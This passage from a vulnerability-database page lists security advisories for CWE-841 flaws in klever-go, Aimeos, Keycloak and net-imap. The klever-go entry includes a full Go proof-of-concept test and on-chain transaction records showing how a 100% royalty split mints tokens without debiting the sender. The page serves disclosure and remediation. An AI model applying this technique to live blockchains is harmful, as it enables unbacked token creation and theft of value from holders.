"typeString": "Transfer",
"value": 100000000000
}
],
"contract": [
{
"type": 0,
"typeString": "TransferContractType",
"parameter": {
"assetId": "F07-3NG3",
"toAddress": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
"amount": 100000000000,
"kdaRoyalties": 10000000000
}
}
]
}
Remediation
Reorder so the royalty pool is debited from the sender before the split distribution, mirroring
processFixedRoyaltiesTransfer:
err := acntSrc.SubFromBalance(royaltyAmount, assetID, ...) // debit FIRST
// ... then the split loop and `if royaltiesToPay <= 0 { return Ok }` (now only skips a zero owner-remainder)
Add the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.19-rc2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/klever-io/klever-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.19-rc4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55763"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T20:27:44Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nIn `processPercentageRoyaltiesTransfer` the royalty pool is collected from the sender by `SubFromBalance` that is\nordered **after** the split loop and after `if royaltiesToPay \u003c= 0 { return Ok }`. The split-payout guard rejects\nonly an allocation that *exceeds* the pool (a strict `splitToPay \u003e royaltiesToPay`), so a split entry of **exactly\n100%** (`PercentTransferPercentage = 10000`) is a *valid* config: it drives `royaltiesToPay` to 0 and hits the\nearly-return **before** the sender is debited. The split recipient keeps the full royalty; the sender pays nothing\nfor it \u2192 mint. The sibling fixed-royalty path (`processFixedRoyaltiesTransfer`) debits the sender **first** and is\nsafe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after\nthe early-return.\n\n## Affected code\n- `core/kapp/accounts/accounts.go` \u2014 `processPercentageRoyaltiesTransfer`: split loop \u2192 `if royaltiesToPay \u003c= 0\n { return Ok }` \u2192 `acntSrc.SubFromBalance(royaltyAmount)` (debit after the early-return). Contrast the safe\n `processFixedRoyaltiesTransfer` (debit before the loop).\n\n## Impact\nUnbounded self-inflation of the transferred KDA: `royaltyAmount = transferValue \u00d7 rate` is minted to an\nowner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update\n(off-the-books).\n\n## Reachability\nOwner-gated to configure (own KDA with a `TransferPercentage` royalty + a 100% split). Once configured, the mint\nfires on **any** holder\u0027s transfer of the asset \u2014 not just the owner\u0027s.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_PercentRoyaltyZeroDebit` drives the real `processPercentageRoyaltiesTransfer` with all relevant forks\nON (`KdaFpr`, `EnableSmartContracts`, `FixMarketBuyOverflow`). With a single 100% split the recipient is credited\nthe full royalty (`40`) while the sender\u0027s `SubFromBalance` is called **0 times** (mint = 40); the 50% control case\ndoes not early-return, the sender is debited, and value conserves.\n\n\u003cdetails\u003e\u003csummary\u003eFull Go PoC (\u003ccode\u003ecore/kapp/accounts\u003c/code\u003e package, passes = mint confirmed)\u003c/summary\u003e\n\n```go\npackage accounts\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/kapp\"\n\t\"github.com/klever-io/klever-go/data/block\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/data/transaction\"\n\tintegrationMock \"github.com/klever-io/klever-go/integrationTest/mock\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\tkvmStub \"github.com/klever-io/klever-go/kvm/mock/stub\"\n)\n\n// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:\n// processPercentageRoyaltiesTransfer credits the split recipient\n// inside the loop, then hits `if royaltiesToPay \u003c= 0 { return Ok }` BEFORE the\n// sender\u0027s `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split\n// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay\n// to 0 and skips the debit =\u003e the recipient keeps royaltyAmount, the sender pays\n// nothing =\u003e mint. The sibling fixed path debits FIRST, so the 50% contrast case\n// (which does NOT early-return) confirms the debit fires and value is conserved.\nfunc TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {\n\tconst (\n\t\tassetIDStr = \"FUNGI-1234\"\n\t\ttransferValue = int64(800)\n\t\troyaltyRatePct = uint32(500) // 5%\n\t\troyaltyAmount = int64(40) // 800 * 5% = 40\n\t)\n\n\tassetID := []byte(assetIDStr)\n\n\t// 32-byte, non-zero-prefixed =\u003e not a smart-contract address, so the royalty\n\t// path is not short-circuited by core.IsSmartContractAddress.\n\tsenderAddr := bytes.Repeat([]byte{0x11}, 32)\n\t// Split recipient address must be a valid hex string (computeSplitRoyalties\n\t// hex-decodes the map key).\n\trecipientAddr := bytes.Repeat([]byte{0x22}, 32)\n\trecipientKey := hex.EncodeToString(recipientAddr)\n\troyaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)\n\n\tbuildKDA := func(splitPercent uint32) *kapps.KDAData {\n\t\treturn \u0026kapps.KDAData{\n\t\t\tAssetType: kapps.KDAData_Fungible,\n\t\t\tOwnerAddress: senderAddr,\n\t\t\tRoyalties: \u0026kapps.RoyaltiesData{\n\t\t\t\tAddress: royaltyReceiverAddr,\n\t\t\t\tTransferPercentage: []*kapps.RoyaltyData{\n\t\t\t\t\t{Amount: 1000, Percentage: royaltyRatePct},\n\t\t\t\t},\n\t\t\t\tSplitRoyalties: map[string]*kapps.RoyaltySplitData{\n\t\t\t\t\trecipientKey: {PercentTransferPercentage: splitPercent},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\ttype runResult struct {\n\t\tsubFromCalls int\n\t\tsubFromAmount int64\n\t\taddToRecipient int64\n\t\taddToOwnerRem int64\n\t\tresCode transaction.Transaction_TXResultCode\n\t\terr error\n\t}\n\n\trun := func(t *testing.T, splitPercent uint32) runResult {\n\t\tt.Helper()\n\n\t\tres := runResult{}\n\n\t\t// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.\n\t\tacntSrc := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return senderAddr },\n\t\t\tGetBalanceCalled: func(_ []byte, _ bool) int64 { return 1_000_000 },\n\t\t\tSubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.subFromCalls++\n\t\t\t\tres.subFromAmount += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Destination is irrelevant to the royalty pool accounting here.\n\t\tacntDst := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t}\n\n\t\t// Split recipient: capture the credit it receives.\n\t\tsplitRecipient := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return recipientAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToRecipient += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Owner-remainder receiver (only credited when the path does NOT early-return).\n\t\troyaltyReceiver := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToOwnerRem += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\tcacher := \u0026commonMock.AccountsCacherStub{\n\t\t\tLoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\tif bytes.Equal(address, recipientAddr) {\n\t\t\t\t\treturn splitRecipient, nil\n\t\t\t\t}\n\t\t\t\tif bytes.Equal(address, royaltyReceiverAddr) {\n\t\t\t\t\treturn royaltyReceiver, nil\n\t\t\t\t}\n\t\t\t\treturn acntSrc, nil\n\t\t\t},\n\t\t\tGetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\treturn royaltyReceiver, nil\n\t\t\t},\n\t\t\tUpdateUserCalled: func(_ state.AccountHandler) error { return nil },\n\t\t}\n\n\t\t// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts\n\t\t// (overflow-checked percentage math), and FixMarketBuyOverflow so the\n\t\t// fix-branch payout guard `splitToPay \u003e royaltiesToPay` is ACTIVE.\n\t\tfc := \u0026integrationMock.ForkControllerStub{\n\t\t\tKdaFprCalled: func() bool { return true },\n\t\t\tEnableSmartContractsCalled: func() bool { return true },\n\t\t\tFixMarketBuyOverflowCalled: func() bool { return true },\n\t\t}\n\n\t\tkappController := \u0026kvmStub.KAppControllerStub{\n\t\t\tGetCurrentKAppContextCalled: func() kapp.KappContext {\n\t\t\t\treturn kapp.NewKappContext(kapp.ArgsNewKAppContext{\n\t\t\t\t\tOriginalSender: senderAddr,\n\t\t\t\t\tContractID: 0,\n\t\t\t\t\tContractType: transaction.TXContract_TransferContractType,\n\t\t\t\t\tBlock: \u0026block.Block{},\n\t\t\t\t})\n\t\t\t},\n\t\t}\n\n\t\ta := \u0026accountsKapp{\n\t\t\taccountsCacher: cacher,\n\t\t\tforkController: fc,\n\t\t\tKAppController: kappController,\n\t\t}\n\n\t\ttc := \u0026transaction.TransferContract{\n\t\t\tAmount: transferValue,\n\t\t\tKDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)\n\t\t}\n\n\t\tkda := buildKDA(splitPercent)\n\n\t\tres.resCode, res.err = a.processPercentageRoyaltiesTransfer(\n\t\t\ttc, assetID, nil, acntSrc, acntDst, kda,\n\t\t)\n\t\treturn res\n\t}\n\n\t// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----\n\tt.Run(\"split_100pct_mints\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient\n\t\tdebited := r.subFromAmount\n\t\tmintDelta := credited - debited\n\n\t\tt.Logf(\"[100%% case] split recipient credited (AddToBalance) = %d\", credited)\n\t\tt.Logf(\"[100%% case] sender royalty-debit calls (SubFromBalance) = %d\", r.subFromCalls)\n\t\tt.Logf(\"[100%% case] sender royalty amount debited = %d\", debited)\n\t\tt.Logf(\"[100%% case] owner-remainder credited = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[100%% case] MINT delta (credited - debited) = %d\", mintDelta)\n\n\t\t// (1) split recipient WAS credited the full royaltyAmount (\u003e 0).\n\t\trequire.Equal(t, royaltyAmount, credited,\n\t\t\t\"split recipient must receive the full royalty pool\")\n\t\trequire.Greater(t, credited, int64(0))\n\n\t\t// (2) the sender\u0027s royalty debit was NEVER called -\u003e value created.\n\t\trequire.Equal(t, 0, r.subFromCalls,\n\t\t\t\"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the \u003c=0 early-return\")\n\t\trequire.Equal(t, int64(0), debited)\n\n\t\t// credited \u003e debited =\u003e mint of royaltyAmount.\n\t\trequire.Equal(t, royaltyAmount, mintDelta,\n\t\t\t\"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)\",\n\t\t\tmintDelta, assetIDStr)\n\t})\n\n\t// ---- 50% split contrast: NO early-return, sender IS debited -\u003e conserved. ----\n\tt.Run(\"split_50pct_conserves\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent/2) // 5000 == 50%\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient + r.addToOwnerRem\n\t\tdebited := r.subFromAmount\n\n\t\tt.Logf(\"[50%% case] split recipient credited = %d\", r.addToRecipient)\n\t\tt.Logf(\"[50%% case] owner-remainder credited = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[50%% case] total credited = %d\", credited)\n\t\tt.Logf(\"[50%% case] sender royalty-debit calls = %d\", r.subFromCalls)\n\t\tt.Logf(\"[50%% case] sender royalty amount debited = %d\", debited)\n\t\tt.Logf(\"[50%% case] net (credited - debited) = %d (0 =\u003e conserved)\", credited-debited)\n\n\t\t// Sender IS debited the full royalty pool exactly once.\n\t\trequire.Equal(t, 1, r.subFromCalls,\n\t\t\t\"sibling path: at \u003c100%% the early-return does NOT fire, so the sender royalty debit runs\")\n\t\trequire.Equal(t, royaltyAmount, debited)\n\n\t\t// Split (20) + owner remainder (20) == debited (40): value conserved.\n\t\trequire.Equal(t, royaltyAmount/2, r.addToRecipient)\n\t\trequire.Equal(t, royaltyAmount/2, r.addToOwnerRem)\n\t\trequire.Equal(t, debited, credited, \"50%% case conserves: total credited == debited\")\n\t})\n}\n```\n\u003c/details\u003e\n\n### On-chain reproduction (live single-node localnet)\nAsset `F07-3NG3` was created with a 10% transfer royalty (`percentage: 1000`) and a single 100% split\n(`percentTransferPercentage: 10000`) to address `R` (`klv1qeh4py4\u2026qcv2xjm`). A transfer of `100,000,000,000` units\n(with `kdaRoyalties = 10,000,000,000`, i.e. the 10% pool) then produced **two** credit receipts: the recipient gets\nthe `100,000,000,000` transfer, and `R` is credited the **`10,000,000,000`** royalty \u2014 while the sender was debited\nonly the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.\n\n\u003cdetails\u003e\u003csummary\u003eCreate tx \u2014 \u003ccode\u003eF07-3NG3\u003c/code\u003e, 10% transfer royalty + single 100% split to \u003ccode\u003eR\u003c/code\u003e (hash \u003ccode\u003eec2a8e8d\u2026af12bc7f\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n \"hash\": \"ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f\",\n \"blockNum\": 104,\n \"status\": \"success\",\n \"resultCode\": \"Ok\",\n \"chainID\": \"420420\",\n \"contract\": [\n {\n \"type\": 1,\n \"typeString\": \"CreateAssetContractType\",\n \"parameter\": {\n \"type\": \"Fungible\",\n \"name\": \"Finding07\",\n \"ticker\": \"F07\",\n \"precision\": 6,\n \"initialSupply\": 1000000000000,\n \"maxSupply\": 0,\n \"royalties\": {\n \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n \"transferPercentage\": [\n { \"percentage\": 1000 }\n ],\n \"splitRoyalties\": [\n {\n \"address\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n \"percentTransferPercentage\": 10000\n }\n ]\n }\n }\n }\n ]\n}\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eTransfer tx \u2014 royalty pool 10,000,000,000 credited to \u003ccode\u003eR\u003c/code\u003e with no source debit (hash \u003ccode\u003e37527757\u2026bf3706b1\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n \"hash\": \"37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1\",\n \"blockNum\": 120,\n \"status\": \"success\",\n \"resultCode\": \"Ok\",\n \"chainID\": \"420420\",\n \"receipts\": [\n {\n \"assetId\": \"F07-3NG3\",\n \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n \"type\": 0,\n \"typeString\": \"Transfer\",\n \"value\": 10000000000\n },\n {\n \"assetId\": \"F07-3NG3\",\n \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n \"to\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n \"type\": 0,\n \"typeString\": \"Transfer\",\n \"value\": 100000000000\n }\n ],\n \"contract\": [\n {\n \"type\": 0,\n \"typeString\": \"TransferContractType\",\n \"parameter\": {\n \"assetId\": \"F07-3NG3\",\n \"toAddress\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n \"amount\": 100000000000,\n \"kdaRoyalties\": 10000000000\n }\n }\n ]\n}\n```\n\u003c/details\u003e\n\n## Remediation\nReorder so the royalty pool is debited from the sender **before** the split distribution, mirroring\n`processFixedRoyaltiesTransfer`:\n```go\nerr := acntSrc.SubFromBalance(royaltyAmount, assetID, ...) // debit FIRST\n// ... then the split loop and `if royaltiesToPay \u003c= 0 { return Ok }` (now only skips a zero owner-remainder)\n```\nAdd the unit test above as a regression guard. Consensus-affecting \u2192 gate behind the next activation flag.",
"id": "GHSA-v358-wf77-39xv",
"modified": "2026-08-28T20:27:44Z",
"published": "2026-08-28T20:27:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-v358-wf77-39xv"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
},
{
"type": "PACKAGE",
"url": "https://github.com/klever-io/klever-go"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits"
}
GHSA-V4G2-CM5V-CXV7
Vulnerability from github – Published: 2024-06-05 13:30 – Updated: 2024-06-11 20:58
VLAI
Summary
Digital products download without proper payment status check
Details
Impact
Digital downloads sold in online shops can be downloaded without valid payment, e.g. if the payment didn't succeed.
Patches
New versions for the Aimeos HTML client 2020-2024 are available
Severity
5.3 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2024.04.4"
},
"package": {
"ecosystem": "Packagist",
"name": "aimeos/ai-client-html"
},
"ranges": [
{
"events": [
{
"introduced": "2024.04.1"
},
{
"fixed": "2024.04.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "aimeos/ai-client-html"
},
"ranges": [
{
"events": [
{
"introduced": "2023.04.1"
},
{
"fixed": "2023.10.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "aimeos/ai-client-html"
},
"ranges": [
{
"events": [
{
"introduced": "2022.04.1"
},
{
"fixed": "2022.10.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "aimeos/ai-client-html"
},
"ranges": [
{
"events": [
{
"introduced": "2021.04.1"
},
{
"fixed": "2021.10.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "aimeos/ai-client-html"
},
"ranges": [
{
"events": [
{
"introduced": "2020.04.1"
},
{
"fixed": "2020.10.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37296"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-05T13:30:55Z",
"nvd_published_at": "2024-06-11T15:16:09Z",
"severity": "MODERATE"
},
"details": "### Impact\nDigital downloads sold in online shops can be downloaded without valid payment, e.g. if the payment didn\u0027t succeed.\n\n### Patches\nNew versions for the Aimeos HTML client 2020-2024 are available\n",
"id": "GHSA-v4g2-cm5v-cxv7",
"modified": "2024-06-11T20:58:10Z",
"published": "2024-06-05T13:30:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aimeos/ai-client-html/security/advisories/GHSA-v4g2-cm5v-cxv7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37296"
},
{
"type": "WEB",
"url": "https://github.com/aimeos/ai-client-html/commit/12d8aad1a373bf9d350872501adec3e222164f83"
},
{
"type": "WEB",
"url": "https://github.com/aimeos/ai-client-html/commit/5a7249769142b3ce70959ab1fb70c7e7c251e214"
},
{
"type": "WEB",
"url": "https://github.com/aimeos/ai-client-html/commit/6460ffe8f4929d864164aa96c5b49eca5326d975"
},
{
"type": "WEB",
"url": "https://github.com/aimeos/ai-client-html/commit/7f01d2f4fbc67f5231fd84adeb835d28252b8409"
},
{
"type": "WEB",
"url": "https://github.com/aimeos/ai-client-html/commit/fc611ff9a57e421d0ad9d99346b561cea515c5f0"
},
{
"type": "PACKAGE",
"url": "https://github.com/aimeos/ai-client-html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Digital products download without proper payment status check"
}
GHSA-V7M3-VPQR-6M6P
Vulnerability from github – Published: 2026-07-17 18:31 – Updated: 2026-07-17 18:31
VLAI
Details
A flaw was found in the keycloak-services component of Keycloak. This issue is an incomplete fix for CVE-2026-9798, where brute-force protection checks were added to the Client-Initiated Backchannel Authentication (CIBA) initiation handler but were omitted from the token redemption handler. This allows an attacker with valid client credentials to obtain access and refresh tokens for a user account that has been locked due to brute-force protection, provided the authentication request was started before the lockout occurred and was approved by the user.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-16103"
],
"database_specific": {
"cwe_ids": [
"CWE-305",
"CWE-841"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-17T17:17:14Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the keycloak-services component of Keycloak. This issue is an incomplete fix for CVE-2026-9798, where brute-force protection checks were added to the Client-Initiated Backchannel Authentication (CIBA) initiation handler but were omitted from the token redemption handler. This allows an attacker with valid client credentials to obtain access and refresh tokens for a user account that has been locked due to brute-force protection, provided the authentication request was started before the lockout occurred and was approved by the user.",
"id": "GHSA-v7m3-vpqr-6m6p",
"modified": "2026-07-17T18:31:26Z",
"published": "2026-07-17T18:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16103"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-16103"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2501736"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VCGP-9326-PQCP
Vulnerability from github – Published: 2026-05-04 22:01 – Updated: 2026-05-14 20:48
VLAI
Summary
net-imap vulnerable to STARTTLS stripping via invalid response timing
Details
Summary
A man-in-the-middle attacker can cause Net::IMAP#starttls to return "successfully", without starting TLS.
Details
When using Net::IMAP#starttls to upgrade a plaintext connection to use TLS, a man-in-the-middle attacker can inject a tagged OK response with an easily predictable tag. By sending the response before the client finishes sending the command, the command completes "successfully" before the response handler is registered. This allows #starttls to return without error, but the response handler is never invoked, the TLS connection is never established, and the socket remains unencrypted.
This allows man-in-the-middle attackers to perform a STARTTLS stripping attack, unless the client code explicitly checks Net::IMAP#tls_verified?.
Impact
TLS bypass, leading to cleartext transmission of sensitive information.
Mitigation
- Upgrade to a patched version of net-imap that raises an exception whenever
#starttlsdoes not establish TLS. - Connect to an implicit TLS port, rather than use
STARTTLSwith a cleartext port. This is strongly recommended anyway: - RFC 8314: Cleartext Considered Obsolete: Use of Transport Layer Security (TLS) for Email Submission and Access
- NO STARTTLS: Why TLS is better without STARTTLS, A Security Analysis of STARTTLS in the Email Context
- Explicitly verify
Net::IMAP#tls_verified?istrue, before using the connection after#starttls.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.3"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.13"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.23"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.4.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.9"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42246"
],
"database_specific": {
"cwe_ids": [
"CWE-392",
"CWE-393",
"CWE-636",
"CWE-754",
"CWE-841"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T22:01:52Z",
"nvd_published_at": "2026-05-09T20:16:28Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA man-in-the-middle attacker can cause `Net::IMAP#starttls` to return \"successfully\", without starting TLS.\n\n### Details\n\nWhen using `Net::IMAP#starttls` to upgrade a plaintext connection to use TLS, a man-in-the-middle attacker can inject a tagged `OK` response with an easily predictable tag. By sending the response before the client finishes sending the command, the command completes \"successfully\" before the response handler is registered. This allows `#starttls` to return without error, but the response handler is never invoked, the TLS connection is never established, and the socket remains unencrypted.\n\nThis allows man-in-the-middle attackers to perform a STARTTLS stripping attack, unless the client code explicitly checks `Net::IMAP#tls_verified?`.\n\n### Impact\n\nTLS bypass, leading to cleartext transmission of sensitive information.\n\n### Mitigation\n\n* Upgrade to a patched version of net-imap that raises an exception whenever `#starttls` does not establish TLS.\n* Connect to an implicit TLS port, rather than use `STARTTLS` with a cleartext port.\n This is strongly recommended anyway:\n * [RFC 8314](https://www.rfc-editor.org/info/rfc8314): Cleartext Considered Obsolete: Use of Transport Layer Security (TLS) for Email Submission and Access\n * [NO STARTTLS](https://nostarttls.secvuln.info/): Why TLS is better without STARTTLS, A Security Analysis of STARTTLS in the Email Context\n* Explicitly verify `Net::IMAP#tls_verified?` is `true`, before using the connection after `#starttls`.",
"id": "GHSA-vcgp-9326-pqcp",
"modified": "2026-05-14T20:48:01Z",
"published": "2026-05-04T22:01:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-vcgp-9326-pqcp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42246"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/0ede4c40b1523dfeaf95777b2678e54cc0fd9618"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/24a4e770b43230286a05aa2a9746cdbb3eb8485e"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/97e2488fb5401a1783bddd959dde007d9fbce42c"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/f79d35bf5833f186e81044c57c843eda30c873da"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.3.10"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-42246.yml"
},
{
"type": "WEB",
"url": "https://nostarttls.secvuln.info"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/info/rfc8314"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "net-imap vulnerable to STARTTLS stripping via invalid response timing"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.